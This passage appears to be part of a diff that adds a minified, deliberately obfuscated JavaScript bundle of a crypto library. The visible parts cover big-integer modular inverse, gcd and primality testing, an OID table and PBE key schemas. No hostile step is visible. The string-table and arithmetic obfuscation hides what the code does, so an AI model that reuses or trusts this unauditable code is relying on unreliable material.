v * f) - (it - u * x - f * u - v * s * i - v) - (We - s - v * f * u - v * s * i - f * i * s), nn)); ) + en[_t("0x9b")](an, hn), + xn = an, + an = hn, + hn = xn, + tn[_t("0xd5")](--nn, -(Br - i * x - f * f * x - i * a * i - i) * -(Qt - f * s * x - x - a - x * i * i) - (kt - v - v * x * s - u * a * x - a * a * f) + -(T - s * s - u * f - s) * (me - u * v - s * f - i * x * u - a * i * s)) && (nn = tn[_t("0x15d")](this.DB, (ge - s * x * f - x * f - x * v * v - f * s) * (xe - x * x * x - v * u * i - f * v - i * v) + (At - v * v * s - u * a - x - a * s) - (Zt - a * a * u - s * u - i - v * s * u)), + --ln) + } + return en.revert(an) + } + , + s[o("0x99")][o("0xe5")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2 + , a = e(1) + 2; + e(1); + var i = t + 2; + e(2); + var u = t + 1; + e(1); + var c = t + 1 + , f = e(1) + 1; + e(1); + var v = t + 1; + e(115); + var x = t + 19; + e(24); + var l = t + 8 + , d = e(19) + 4; + e(21); + var h = t + 12; + e(55); + var p = t + 15; + e(63); + var g = t + 9; + e(16); + var m = t + 4 + , C = e(10) + 4; + e(14); + var b = t + 8 + , E = e(22) + 9 + , S = e(32) + 8; + e(32); + var I = t + 6; + e(11); + var T = t + 5; + e(10); + var A = t + 3; + e(20); + var B = t + 7 + , w = e(77) + 19; + e(21); + var N = t + 6; + e(22); + var R = t + 6; + e(44); + var U = t + 15 + , D = e(25) + 4 + , L = e(15) + 7; + e(11); + var P = t + 4; + e(103); + var k = t + 30 + , K = e(100) + 40; + e(40); + var V = t + 13; + e(21); + var O = t + 4; + e(36); + var M = t + 12; + e(94); + var j = t + 23; + e(56); + var F = t + 10; + e(18); + var G = t + 3 + , q = e(60) + 9; + e(118); + var Q = t + 28; + e(33); + var W = t + 10; + e(13); + var z = t + 4; + e(14); + var H = t + 5; + e(9); + var Y = t + 3; + e(55); + var Z = t + 11 + , X = e(24) + 5 + , J = e(147) + 17; + e(30); + var _ = t + 5; + e(97); + var $ = t + 48; + e(112); + var rr = t + 15; + e(124); + var er = t + 34; + e(51); + var tr = t + 18; + e(44); + var nr = t + 14 + , ar = e(165) + 93; + e(140); + var ir = t + 28; + e(200); + var or = t + 78; + e(185); + var ur = t + 82; + e(177); + var sr = t + 24; + e(112); + var cr = t + 46; + e(165); + var fr = t + 30; + e(118); + var vr = t + 24; + e(112); + var xr = t + 27 + , lr = e(25) + 5; + e(26); + var dr = t + 11; + e(189); + var hr = t + 48; + e(136); + var pr = t + 24 + , yr = e(111) + 26; + e(91); + var gr = t + 15; + e(544); + var mr = t + 190; + e(649); + var Cr = t + 299; + e(479); + var br = t + 91 + , Er = e(229) + 39; + e(427); + var Sr = t + 143 + , Ir = e(220) + 68; + e(254); + var Tr = t + 42 + , Ar = e(747) + 226; + e(340); + var Br = t + 60; + e(135); + var wr = t + 27 + , Nr = e(1417) + 324 + , Rr = e(277) + 80 + , Ur = e(260) + 51; + e(64); + var Dr = t + 15; + e(90); + var Lr = t + 16; + e(191); + var Pr = t + 22; + e(398); + var kr = t + 70; + e(345); + var Kr = t + 107 + , Vr = e(1641) + 486; + e(931); + var Or = t + 165 + , Mr = o + , jr = {}; + jr[Mr("0x2d")] = function(r, e) { + return r < e + } + , + jr[Mr("0x2b")] = function(r, e) { + return r & e + } + , + jr.uVFab = function(r, e) { + return r == e + } + , + jr[Mr("0x22d")] = function(r, e) { + return r(e) + } + , + jr[Mr("0x1d")] = function(r, e) { + return r != e + } + , + jr[Mr("0x16d")] = function(r, e) { + return r === e + } + , + jr[Mr("0xdc")] = Mr("0x10e"), + jr[Mr("0x11a")] = "gsGXV", + jr[Mr("0xe2")] = function(r, e) { + return r >= e + } + ; + var Fr = jr + , Gr = r[Mr("0x60")](); + if (this[Mr("0x60")]() && Gr || Fr[Mr("0x127")](k - n * f * u - a - c * n - (Ar - c * v * n - v * i - u * c * n) + -(dr - a * f - u - u * n * n) * -(T - i * a - c - n * i * v - v), r[Mr("0x21f")]())) + return s[Mr("0x1a4")]; + for (var qr = r[Mr("0x213")](), Qr = this.clone(), Wr = y(-(G - c * i - c * n * c - c * c * u - i * a) * -($ - a - f - n * a) + -(B - f - c * f * n - c - v) * -(Pr - f * f * v - i - u - n * v) - (Or - f - f * c - f * f * f - v)), zr = y((Br - c * f * u - a - u - a) * -(L - i - n * a * c - i - n * u * f) - (Sr - a - c * v * a - i * u) + (Vr - u * a - c - u * c)), Hr = Fr[Mr("0x22d")](y, R - f * n - c * i - c * a - n * u * i + -(b - n - i * u - a * n - i) * (j - u * v - n - i * u * f - n * v * u) + -(l - v - u * v - a * c) * -(V - f * a - f - i * f - u)), Yr = Fr.UOdcV(y, (br - n * a - a * c - n - a * v) * -(z - u * c * v - a * i - f - f * a * c) + -(w - a * i - i * u * i - v * u - v) * (S - i - i - i - n * a * c) + -(Kr - u * c - a - f * i * f - i * f * a) * -(A - f - n * i * v - i - a * c)); Fr.BKuXp(xr - i * v - i * i * v - u - c * u * v - (mr - u * n * i - n * v - f) + (vr - f * n * i - u * a - f * i * n - n * c * a), qr[Mr("0x21f")]()); ) + if (Fr[Mr("0x16d")](Fr.ANqwy, Fr[Mr("0x11a")])) + ; + else { + for (; qr[Mr("0x60")](); ) + qr[Mr("0x1ce")]((lr - f - f * i * n - a * c - n * i * v) * (X - u * u * f - i * i * i - i - n * c * v) + -(h - f * f - f - u * i) * (g - a * n * a - c * n - v - i * v) + (P - f * u * i - c - n) * -(U - c * u * u - n - n), qr), + Gr ? (Wr.isEven() && zr[Mr("0x60")]() || (Wr[Mr("0x210")](this, Wr), + zr[Mr("0x116")](r, zr)), + Wr[Mr("0x1ce")](-(M - v - c * c - i * v * a - a) * (p - c * n * n - u - a) + (tr - a * v - i * c - f * c * u - v * f * v) * (fr - a * v * u - a * i * f - i * v) + (ar - i * f - i * f - a - c * f), Wr)) : zr[Mr("0x60")]() || zr.subTo(r, zr), + zr[Mr("0x1ce")](-(Er - u - i - f - a * c) - (Cr - i * f - v * a - v * u - n * n) + -(F - v * f * i - a - u * n * c - u) * -(sr - n - a * f * u - n - a * i * a), zr); + for (; Qr[Mr("0x60")](); ) + Qr[Mr("0x1ce")](hr - f * v - a * a - c * i * n - f - (Ur - c - i * f * v - n * a * v) + -(D - c - v * n * n - u * f - a * n * f) * -(or - c * a - v * c - u - i * u * v), Qr), + Gr ? (Hr[Mr("0x60")]() && Yr.isEven() || (Hr[Mr("0x210")](this, Hr), + Yr[Mr("0x116")](r, Yr)), + Hr[Mr("0x1ce")](ir - c - i * u - v * n * a + -(pr - f * i - i - f - n * v * a) * (C - c - i * v - n * i * a - u * n) + -(Y - i * v - i - v * u * v) * -(N - i * u * f - n - c), Hr)) : Yr.isEven() || Yr[Mr("0x116")](r, Yr), + Yr.rShiftTo((q - c - f * v - u * v * u - f * u * n) * (nr - v * n - a - n - i * f) + -(H - v * n * n - v * a * v - a * c * i - u) * (W - i * n - n * u - i * f * v - n * c * u) + (O - v * i - v * a - v * i * c - i) * -(K - v * c - u * c * v - c), Yr); + Fr[Mr("0xe2")](qr[Mr("0x1ea")](Qr), -(gr - a * a * f - f * a - c * n * c - a * u) * (J - a * v * i - v * f * u - n * f * n - a * c) + -(rr - v * c * f - v * v - a * v * v) * (Z - u * u * v - i * v * i - u - f * a) + (kr - u * v - a - c * u - f)) ? (qr[Mr("0x116")](Qr, qr), + Gr && Wr[Mr("0x116")](Hr, Wr), + zr[Mr("0x116")](Yr, zr)) : (Qr[Mr("0x116")](qr, Qr), + Gr && Hr.subTo(Wr, Hr), + Yr[Mr("0x116")](zr, Yr)) + } + return (Ir - u * a * c - a * n * a - f) * -(Q - a * c * f - n * a - i * c - c * c * c) + -(E - u * v - v * v - i * a - n * n * n) * -(cr - n * i * a - u - v * n * v - i * v * u) + (ur - a - u * n - i - v * v) != Qr[Mr("0x1ea")](s[Mr("0x1d4")]) ? s[Mr("0x1a4")] : Fr[Mr("0xe2")](Yr[Mr("0x1ea")](r), (wr - n * c - f * a - u * c) * (d - a * f - c * f - v - f) - (Dr - c - u * f * v - c * n * v) + (_ - c - i * u - c - c * u * v)) ? Yr.subtract(r) : Fr.beWGl(Yr[Mr("0x21f")](), yr - v * a - f * i * i - a * a + (Tr - n - n * u * v - f * a * a - n) + -(Lr - v - v - v * u * u - n) * (x - a * c - c * u - c - u)) ? (Yr.addTo(r, Yr), + Yr[Mr("0x21f")]() < -(m - f * n - v * a - a * f - n * n * a) * -(Rr - c * c - n * f - c * a - c * a * u) - (Nr - c - a - i - i * n * i) + (I - f * c - v - f - v) * (er - i - f * c * v - a * u * i - v * c * i) ? Yr[Mr("0x1c7")](r) : Yr) : Yr + } + , + s[o("0x99")][o("0x20b")] = function(r) { + return this[o("0x187")](r, new A) + } + , + s[o("0x99")][o("0x16b")] = function(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2 + , a = e(2) + 1 + , i = e(1) + 1 + , u = e(1) + 1 + , s = e(1) + 1 + , c = e(0) + 2; + e(1); + var f = t + 2; + e(42); + var v = t + 6; + e(41); + var x = t + 17 + , l = e(26) + 7 + , d = e(32) + 6; + e(61); + var h = t + 29; + e(51); + var p = t + 21; + e(127); + var y = t + 37; + e(88); + var g = t + 42; + e(68); + var m = t + 12; + e(28); + var C = t + 11 + , b = e(22) + 7; + e(12); + var E = t + 5; + e(24); + var S = t + 8; + e(30); + var I = t + 9; + e(14); + var T = t + 5; + e(8); + var A = t + 5; + e(54); + var B = t + 21 + , w = e(55) + 14; + e(58); + var N = t + 9; + e(13); + var R = t + 3 + , U = e(20) + 3; + e(20); + var D = t + 5; + e(29); + var L = t + 9; + e(78); + var P = t + 19; + e(139); + var k = t + 28; + e(115); + var K = t + 18; + e(49); + var V = t + 16; + e(332); + var O = t + 47; + e(362); + var M = t + 88; + e(121); + var j = t + 35 + , F = e(340) + 44; + e(49); + var G = t + 17 + , q = e(37) + 7; + e(69); + var Q = t + 18; + e(71); + var W = t + 16; + e(48); + var z = t + 19; + e(393); + var H = t + 90; + e(218); + var Y = t + 71; + e(136); + var Z = t + 29; + e(356); + var X = t + 161; + e(139); + var J = t + 36 + , _ = e(120) + 30; + e(199); + var $ = t + 43 + , rr = e(386) + 65; + e(770); + var er = t + 278 + , tr = e(377) + 72; + e(789); + var nr = t + 264 + , ar = e(384) + 167 + , ir = e(680) + 147; + e(212); + var or = t + 46; + e(375); + var ur = t + 110; + e(189); + var sr = t + 37; + e(180); + var cr = t + 40; + e(164); + var fr = t + 27; + e(392); + var vr = t + 96 + , xr = e(499) + 187 + , lr = e(707) + 189; + e(234); + var dr = t + 61; + e(68); + var hr = t + 11; + e(2282); + var pr = t + 360 + , yr = o + , gr = {}; + gr.sFNUC = yr("0x1da"), + gr[yr("0x7c")] = function(r, e) { + return r > e + } + , + gr.zZdnh = function(r, e) { + return r > e + } + , + gr[yr("0x36")] = function(r, e) { + return r > e + } + , + gr[yr("0x73")] = function(r, e) { + return r >= e + } + , + gr.UuUVy = function(r, e) { + return r < e + } + , + gr[yr("0x6c")] = function(r, e) { + return r > e + } + , + gr.IMwpE = function(r, e) { + return r < e + } + , + gr.qfbii = function(r, e) { + return r < e + } + ; + for (var mr = gr, Cr = mr.sFNUC.split("|"), br = -(E - u * i - n * a * n - n * f - c * i * n) * ($ - n * c - c * c - s - c) + (X - c * a - n * f - n - a * i * c) + -(D - a - n * n - u * i - c * f) * -(m - u - u - n * u * f - c * c); ; ) { + switch (Cr[br++]) { + case "0": + for (Sr < Ir && (Ir = Sr), + mr[yr("0x7c")](Ir, (T - n * s - f * n * c - s * u) * (N - c - s - i * c * f - u) - (fr - f - c - a - n * n * i) + (v - u - u * n - n) * (G - n - i * f * a - f * c)) && (Tr[yr("0x1ce")](Ir, Tr), + Ar[yr("0x1ce")](Ir, Ar)); mr[yr("0x103")](Tr[yr("0x21f")](), -(K - c * f - c - s * f * f - s * u) * (nr - s - s * s * c - f - n * n) - (q - n * c - s * c * i - n - i) + (ur - i * c - a * f * a - u - s)); ) + mr[yr("0x36")](Sr = Tr[yr("0x150")](), (B - n * u * f - s - c * n * a - u) * (ar - s - c * f - c * c - c) - (cr - n * n - n * c - u * n - s * f) + -(L - n * a - n * c - c * s * a - s * i * n) * -(V - i * f * n - u - u * f - s * a * f)) && Tr.rShiftTo(Sr, Tr), + mr[yr("0x36")](Sr = Ar[yr("0x150")](), (Z - i * c * a - n - n - n) * (l - i * n - u - s * s) + (b - u * n * c - c * a - i * u - i * f) * (j - f * c * f - n - u * i - n) + -(tr - u - i - u * n * s) * (h - f * i - c * u - s * s)) && Ar[yr("0x1ce")](Sr, Ar), + mr.eevhc(Tr.compareTo(Ar), (C - a - s * n - f * s - u) * -(w - f * n * c - u * s - u * c - c * s) - (_ - a * s - c * n - u * s * c) + (dr - u * n * f - s * f - f * u * c - s)) ? (Tr[yr("0x116")](Ar, Tr), + Tr[yr("0x1ce")](-(F - u * n - u * a * c - a * n * c - f * n * f) * (I - i - n * n * a - u * u * u) + (O - s * f * f - c - u * n * f - n * n * a) * (J - c - c * u - i - f * s * u) + -(g - c - s - n * s * f) * (z - c * f * u - i * n * n - s - a * a), Tr)) : (Ar.subTo(Tr, Ar), + Ar[yr("0x1ce")]((xr - i * a - i - f - c * s) * (A - c - c * a * c - i - i * c) - (lr - a * f - s * i - f * s * u - a * c) - (k - f - i * n * n - c * a * s - a * n * f), Ar)); + continue; + case "1": + if (mr.UuUVy(Tr[yr("0x1ea")](Ar), (P - i * u - s * f * a - i * a * s) * -(rr - a - c * i * a - u * f * a - a * i) - (W - n - f * i * c - s * n) + (R - i * a - f * a * i - f * a - a * u * a) * (U - i - s * a - i * f - a * i))) { + var Er = Tr; + Tr = Ar, + Ar = Er + } + continue; + case "2": + return mr[yr("0x6c")](Ir, ir - a * n - f - c * i - (sr - u * s * c - a * i * u - i * f * u - n * a * n) + -(x - s - i - n - f * i) * (p - s - u - c * n - f * f)) && Ar[yr("0xae")](Ir, Ar), + Ar; + case "3": + if (mr[yr("0x15")](Ir, hr - u - s * i - a * f * f + (Y - i - n * i * n - n * i - i * n * f) + (pr - s * a * c - f - n * f) * -(S - c * a - f - i - i * u * c))) + return Tr; + continue; + case "4": + var Sr = Tr[yr("0x150")]() + , Ir = Ar.getLowestSetBit(); + continue; + case "5": + var Tr = mr[yr("0x22b")](this.s, -(y - n - c - n * a * f - u * c) * -(er - f * s * c - i - i * s - s * s) - (H - n - c * a * u - s * n - f * i) - (Q - f * a - a * u - s * n * f - a * s)) ? this.negate() : this[yr("0x213")]() + , Ar = mr[yr("0x22b")](r.s, (d - f * c - n - n * u) * (M - u * f - u * n - n * f * s - f) - (vr - i * s * a - a * s - i * c - f * f) + (or - f - i * s * c - u * f - n)) ? r.negate() : r[yr("0x213")](); + continue + } + break + } + } + , + s.prototype.isProbablePrime = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(4); + var n = t + 1; + e(1); + var a = t + 1 + , i = e(1) + 1; + e(1); + var u = t + 1 + , s = e(1) + 1; + e(0); + var c = t + 2 + , f = e(2) + 1 + , v = e(68) + 18 + , x = e(41) + 7; + e(29); + var l = t + 8; + e(11); + var d = t + 5; + e(5); + e(9); + var h = t + 3; + e(8); + e(15); + var p = t + 4; + e(16); + var y = t + 5; + e(26); + e(32); + var g = t + 12; + e(32); + var m = t + 12; + e(16); + var C = t + 3; + e(3); + var b = t + 2; + e(6); + var E = t + 2; + e(90); + var S = t + 16 + , I = e(26) + 8; + e(37); + var T = t + 14; + e(17); + var A = t + 4; + e(75); + var B = t + 10; + e(9); + e(62); + var w = t + 18; + e(25); + var U = t + 7; + e(41); + var D = t + 8; + e(28); + var L = t + 10; + e(55); + var P = t + 16; + e(33); + e(38); + e(28); + e(57); + var k = t + 15; + e(142); + var K = t + 37; + e(33); + var V = t + 5; + e(79); + var O = t + 34; + e(63); + var M = t + 11; + e(24); + e(36); + var j = t + 7; + e(20); + var F = t + 12; + e(30); + var G = e(21) + 4; + e(4); + var q = e(108) + 40 + , Q = (e(139), + e(149) + 36) + , W = e(173) + 37; + e(145); + var z = t + 37; + e(65); + var H = t + 28; + e(37); + var Y = t + 9; + e(9); + e(448); + var Z = t + 127; + e(453); + var X = t + 65; + e(141); + var J = e(96) + 24 + , _ = e(84) + 35; + e(499); + e(187); + var $ = t + 32; + e(34); + var rr = t + 10 + , er = e(81) + 22 + , tr = e(72) + 11 + , nr = e(501) + 77; + e(179); + var ar = e(708) + 172; + e(817); + var ir = t + 205; + e(459); + e(569); + var or = t + 143; + e(356); + var ur = e(500) + 92; + e(794); + var sr = t + 158; + e(166); + var cr = t + 46; + e(511); + var fr = t + 100; + e(296); + var vr = t + 65; + e(159); + var xr = t + 66; + e(388); + e(854); + var lr = t + 160; + e(547); + e(6363); + var dr = t + 2054; + e(15435); + e(20740); + e(62181); + var hr = o + , pr = {}; + pr[hr("0x5f")] = function(r, e) { + return r & e + } + , + pr[hr("0xf9")] = function(r, e) { + return r + e + } + , + pr[hr("0x1a")] = function(r, e) { + return r << e + } + , + pr[hr("0x4d")] = function(r, e) { + return r * e + } + , + pr.yVZNa = function(r, e) { + return r * e + } + , + pr[hr("0x1a3")] = function(r, e) { + return r >> e + } + , + pr[hr("0x85")] = function(r, e) { + return r + e + } + , + pr[hr("0x14a")] = function(r, e) { + return r == e + } + , + pr.mIXEt = function(r, e) { + return r <= e + } + , + pr.SPmCi = function(r, e) { + return r - e + } + , + pr.MDfab = function(r, e) { + return r !== e + } + , + pr[hr("0xc0")] = "RhOgL", + pr[hr("0xef")] = function(r, e) { + return r < e + } + , + pr.HtCMB = function(r, e) { + return r == e + } + , + pr[hr("0xc7")] = function(r, e) { + return r + e + } + , + pr[hr("0xa4")] = function(r, e) { + return r == e + } + , + pr[hr("0x1eb")] = function(r, e) { + return r % e + } + ; + var yr, gr = pr, mr = this.abs(); + if (gr[hr("0x14a")](-(lr - c * f * n - u * c * a - c * c - u * c * f) - (xr - a - c - s * i * s - c) + (dr - n * f - n * i * n - n - c * f * i), mr.t) && gr.mIXEt(mr[hr("0x19")][-(p - c - s * c - s * f) * (vr - s * a - a * f * u - u * f * s - u * s) - (ur - a - a * n - n) + (M - s * n * c - f * i - f * a * s - c) * (Y - c * f * u - s * s * a - n * u - i * c * c)], N[gr[hr("0x18b")](N[hr("0x226")], -(l - c - c * c - n * i) * (j - s * f * a - f * f - s - n * s * n) + -(L - f * u - a * a - i * u * f - a) * -(_ - a * a - s * u * f - c - a * f * f) + (rr - c * u * n - i - f * n * i - s * f * f))])) { + if (gr.MDfab(hr("0xf5"), gr.aaPQU)) { + for (yr = (S - n - a * s * i - i * i) * (cr - s * a - s * s - s - a * s) + -(H - f * a - n * c - i - i * i) * -(C - a * n - s - a - f * n * n) + -(x - u - f - n - n) * (U - u - a - a - f * i * i); gr[hr("0xef")](yr, N[hr("0x226")]); ++yr) + if (gr.HtCMB(mr[hr("0x19")][-(Z - s * f * c - a * f * c - f * s - n * c * n) * (m - f - a * u * a - c) + (z - u * a * a - f * c * s - n * f * u - a * u * s) * (tr - a * f - c * s * u - i * a * s) + (Q - s * n - u * f * n - i * f - a * s * u)], N[yr])) + return !($ - n * s - f * u * a - i - c - (or - f - s * i * n - u * i * s) + -(d - u - i * a - c * n - s * i) * -(er - u * s * a - a * a * c - u * f - f * s)); + return !(-(O - n * a * a - c - s * c * f) - (y - u - s - c * i - n * f) + -(g - i * n * i - f - f - s) * -(K - c * s * f - n * s - i * c)) + } + } + if (mr[hr("0x60")]()) + return !(D - u * i * i - i - i * i - c + (sr - f - a - c * n - i * s) + (h - a - u - u * n - f * f) * -(fr - u * u - c * i * n - i - c * i)); + for (yr = ar - u * i * f - u - u * c - u * u + (ir - f * s * n - f - i) * (v - i * n - n - n * c - n) + -(k - a * i * f - n - a * i * s) * (A - u - i - n * f * i - n); gr[hr("0xef")](yr, N.length); ) { + for (var Cr = N[yr], br = gr[hr("0xc7")](yr, -(B - n * f * s - i * s - f - f) * -(J - f * f - i * n * s - f * a) + -(E - a * c - n - c - n * a * u) * (q - n * n * f - u * u * s - i - a) + (nr - a * u * c - u - u * s * i - f * s)); gr[hr("0xef")](br, N[hr("0x226")]) && gr[hr("0xef")](Cr, R); ) + Cr *= N[br++]; + for (Cr = mr.modInt(Cr); yr < br; ) + if (gr[hr("0xa4")](gr.gRTfj(Cr, N[yr++]), -(G - f * u - f * u * u - f * n * f) * (W - s - f * c * c - s * u * n) + (w - a * u - f * i * a - s * c) * -(x - i - a - f * i - c) + -(T - s - n * u * a - c * c - a) * -(F - f * a * f - i * f - s * a * s - n * s))) + return !(-(I - a - s * s - s - a * f * n) * (V - i - f * u * u - f - f) - (X - n * n - s * i * a - u * a * c - i * s * n) + -(P - n * n - i - u * s * s - n * s) * -(b - n * a - a - f * s - s * n)) + } + return mr[hr("0x141")](r) + } + } + , + 366: (r,e,t)=>{} + , + 145: (r,e,t)=>{} + , + 389: (r,e,t)=>{} + , + 991: (r,e,t)=>{ + var n = t(832); + r.exports = n.md = n.md || {}, + n.md.algorithms = n.md.algorithms || {} + } + , + 63: (r,e,t)=>{} + , + 971: (r,e,t)=>{} + , + 453: (r,e,t)=>{} + , + 270: (r,e,t)=>{ + var n = t(832); + n.pki = n.pki || {}; + var a = r.exports = n.pki.oids = n.oids = n.oids || {}; + function i(r, e) { + a[r] = e, + a[e] = r + } + function o(r, e) { + a[r] = e + } + i("1.2.840.113549.1.1.1", "rsaEncryption"), + i("1.2.840.113549.1.1.4", "md5WithRSAEncryption"), + i("1.2.840.113549.1.1.5", "sha1WithRSAEncryption"), + i("1.2.840.113549.1.1.7", "RSAES-OAEP"), + i("1.2.840.113549.1.1.8", "mgf1"), + i("1.2.840.113549.1.1.9", "pSpecified"), + i("1.2.840.113549.1.1.10", "RSASSA-PSS"), + i("1.2.840.113549.1.1.11", "sha256WithRSAEncryption"), + i("1.2.840.113549.1.1.12", "sha384WithRSAEncryption"), + i("1.2.840.113549.1.1.13", "sha512WithRSAEncryption"), + i("1.3.101.112", "EdDSA25519"), + i("1.2.840.10040.4.3", "dsa-with-sha1"), + i("1.3.14.3.2.7", "desCBC"), + i("1.3.14.3.2.26", "sha1"), + i("1.3.14.3.2.29", "sha1WithRSASignature"), + i("2.16.840.1.101.3.4.2.1", "sha256"), + i("2.16.840.1.101.3.4.2.2", "sha384"), + i("2.16.840.1.101.3.4.2.3", "sha512"), + i("2.16.840.1.101.3.4.2.4", "sha224"), + i("2.16.840.1.101.3.4.2.5", "sha512-224"), + i("2.16.840.1.101.3.4.2.6", "sha512-256"), + i("1.2.840.113549.2.2", "md2"), + i("1.2.840.113549.2.5", "md5"), + i("1.2.840.113549.1.7.1", "data"), + i("1.2.840.113549.1.7.2", "signedData"), + i("1.2.840.113549.1.7.3", "envelopedData"), + i("1.2.840.113549.1.7.4", "signedAndEnvelopedData"), + i("1.2.840.113549.1.7.5", "digestedData"), + i("1.2.840.113549.1.7.6", "encryptedData"), + i("1.2.840.113549.1.9.1", "emailAddress"), + i("1.2.840.113549.1.9.2", "unstructuredName"), + i("1.2.840.113549.1.9.3", "contentType"), + i("1.2.840.113549.1.9.4", "messageDigest"), + i("1.2.840.113549.1.9.5", "signingTime"), + i("1.2.840.113549.1.9.6", "counterSignature"), + i("1.2.840.113549.1.9.7", "challengePassword"), + i("1.2.840.113549.1.9.8", "unstructuredAddress"), + i("1.2.840.113549.1.9.14", "extensionRequest"), + i("1.2.840.113549.1.9.20", "friendlyName"), + i("1.2.840.113549.1.9.21", "localKeyId"), + i("1.2.840.113549.1.9.22.1", "x509Certificate"), + i("1.2.840.113549.1.12.10.1.1", "keyBag"), + i("1.2.840.113549.1.12.10.1.2", "pkcs8ShroudedKeyBag"), + i("1.2.840.113549.1.12.10.1.3", "certBag"), + i("1.2.840.113549.1.12.10.1.4", "crlBag"), + i("1.2.840.113549.1.12.10.1.5", "secretBag"), + i("1.2.840.113549.1.12.10.1.6", "safeContentsBag"), + i("1.2.840.113549.1.5.13", "pkcs5PBES2"), + i("1.2.840.113549.1.5.12", "pkcs5PBKDF2"), + i("1.2.840.113549.1.12.1.1", "pbeWithSHAAnd128BitRC4"), + i("1.2.840.113549.1.12.1.2", "pbeWithSHAAnd40BitRC4"), + i("1.2.840.113549.1.12.1.3", "pbeWithSHAAnd3-KeyTripleDES-CBC"), + i("1.2.840.113549.1.12.1.4", "pbeWithSHAAnd2-KeyTripleDES-CBC"), + i("1.2.840.113549.1.12.1.5", "pbeWithSHAAnd128BitRC2-CBC"), + i("1.2.840.113549.1.12.1.6", "pbewithSHAAnd40BitRC2-CBC"), + i("1.2.840.113549.2.7", "hmacWithSHA1"), + i("1.2.840.113549.2.8", "hmacWithSHA224"), + i("1.2.840.113549.2.9", "hmacWithSHA256"), + i("1.2.840.113549.2.10", "hmacWithSHA384"), + i("1.2.840.113549.2.11", "hmacWithSHA512"), + i("1.2.840.113549.3.7", "des-EDE3-CBC"), + i("2.16.840.1.101.3.4.1.2", "aes128-CBC"), + i("2.16.840.1.101.3.4.1.22", "aes192-CBC"), + i("2.16.840.1.101.3.4.1.42", "aes256-CBC"), + i("2.5.4.3", "commonName"), + i("2.5.4.4", "surname"), + i("2.5.4.5", "serialNumber"), + i("2.5.4.6", "countryName"), + i("2.5.4.7", "localityName"), + i("2.5.4.8", "stateOrProvinceName"), + i("2.5.4.9", "streetAddress"), + i("2.5.4.10", "organizationName"), + i("2.5.4.11", "organizationalUnitName"), + i("2.5.4.12", "title"), + i("2.5.4.13", "description"), + i("2.5.4.15", "businessCategory"), + i("2.5.4.17", "postalCode"), + i("2.5.4.42", "givenName"), + i("1.3.6.1.4.1.311.60.2.1.2", "jurisdictionOfIncorporationStateOrProvinceName"), + i("1.3.6.1.4.1.311.60.2.1.3", "jurisdictionOfIncorporationCountryName"), + i("2.16.840.1.113730.1.1", "nsCertType"), + i("2.16.840.1.113730.1.13", "nsComment"), + o("2.5.29.1", "authorityKeyIdentifier"), + o("2.5.29.2", "keyAttributes"), + o("2.5.29.3", "certificatePolicies"), + o("2.5.29.4", "keyUsageRestriction"), + o("2.5.29.5", "policyMapping"), + o("2.5.29.6", "subtreesConstraint"), + o("2.5.29.7", "subjectAltName"), + o("2.5.29.8", "issuerAltName"), + o("2.5.29.9", "subjectDirectoryAttributes"), + o("2.5.29.10", "basicConstraints"), + o("2.5.29.11", "nameConstraints"), + o("2.5.29.12", "policyConstraints"), + o("2.5.29.13", "basicConstraints"), + i("2.5.29.14", "subjectKeyIdentifier"), + i("2.5.29.15", "keyUsage"), + o("2.5.29.16", "privateKeyUsagePeriod"), + i("2.5.29.17", "subjectAltName"), + i("2.5.29.18", "issuerAltName"), + i("2.5.29.19", "basicConstraints"), + o("2.5.29.20", "cRLNumber"), + o("2.5.29.21", "cRLReason"), + o("2.5.29.22", "expirationDate"), + o("2.5.29.23", "instructionCode"), + o("2.5.29.24", "invalidityDate"), + o("2.5.29.25", "cRLDistributionPoints"), + o("2.5.29.26", "issuingDistributionPoint"), + o("2.5.29.27", "deltaCRLIndicator"), + o("2.5.29.28", "issuingDistributionPoint"), + o("2.5.29.29", "certificateIssuer"), + o("2.5.29.30", "nameConstraints"), + i("2.5.29.31", "cRLDistributionPoints"), + i("2.5.29.32", "certificatePolicies"), + o("2.5.29.33", "policyMappings"), + o("2.5.29.34", "policyConstraints"), + i("2.5.29.35", "authorityKeyIdentifier"), + o("2.5.29.36", "policyConstraints"), + i("2.5.29.37", "extKeyUsage"), + o("2.5.29.46", "freshestCRL"), + o("2.5.29.54", "inhibitAnyPolicy"), + i("1.3.6.1.4.1.11129.2.4.2", "timestampList"), + i("1.3.6.1.5.5.7.1.1", "authorityInfoAccess"), + i("1.3.6.1.5.5.7.3.1", "serverAuth"), + i("1.3.6.1.5.5.7.3.2", "clientAuth"), + i("1.3.6.1.5.5.7.3.3", "codeSigning"), + i("1.3.6.1.5.5.7.3.4", "emailProtection"), + i("1.3.6.1.5.5.7.3.8", "timeStamping") + } + , + 450: (r,e,t)=>{ + var n = t(832); + if (t(925), + t(68), + t(480), + t(991), + t(270), + t(960), + t(953), + t(563), + t(372), + t(95), + t(116), + void 0 === a) + var a = n.jsbn.BigInteger; + var i = n.asn1 + , o = n.pki = n.pki || {}; + r.exports = o.pbe = n.pbe = n.pbe || {}; + var u = o.oids + , s = { + name: "EncryptedPrivateKeyInfo", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "EncryptedPrivateKeyInfo.encryptionAlgorithm", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "AlgorithmIdentifier.algorithm", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OID, + constructed: !1, + capture: "encryptionOid" + }, { + name: "AlgorithmIdentifier.parameters", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + captureAsn1: "encryptionParams" + }] + }, { + name: "EncryptedPrivateKeyInfo.encryptedData", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OCTETSTRING, + constructed: !1, + capture: "encryptedData" + }] + } + , c = { + name: "PBES2Algorithms", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "PBES2Algorithms.keyDerivationFunc", + tagClass: i.Class.UNIVERSAL, + type: i.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "PBES2Algorithms.keyDerivationFunc.oid", + tagClass: i.Class.UNIVERSAL, + type: i.Type.OID, + constructed: !1, + capture: "kdfOid" + }, { + name: "PBES2Algorithms.params", + tagClass: i.Class.UNIVERSAL, + type: 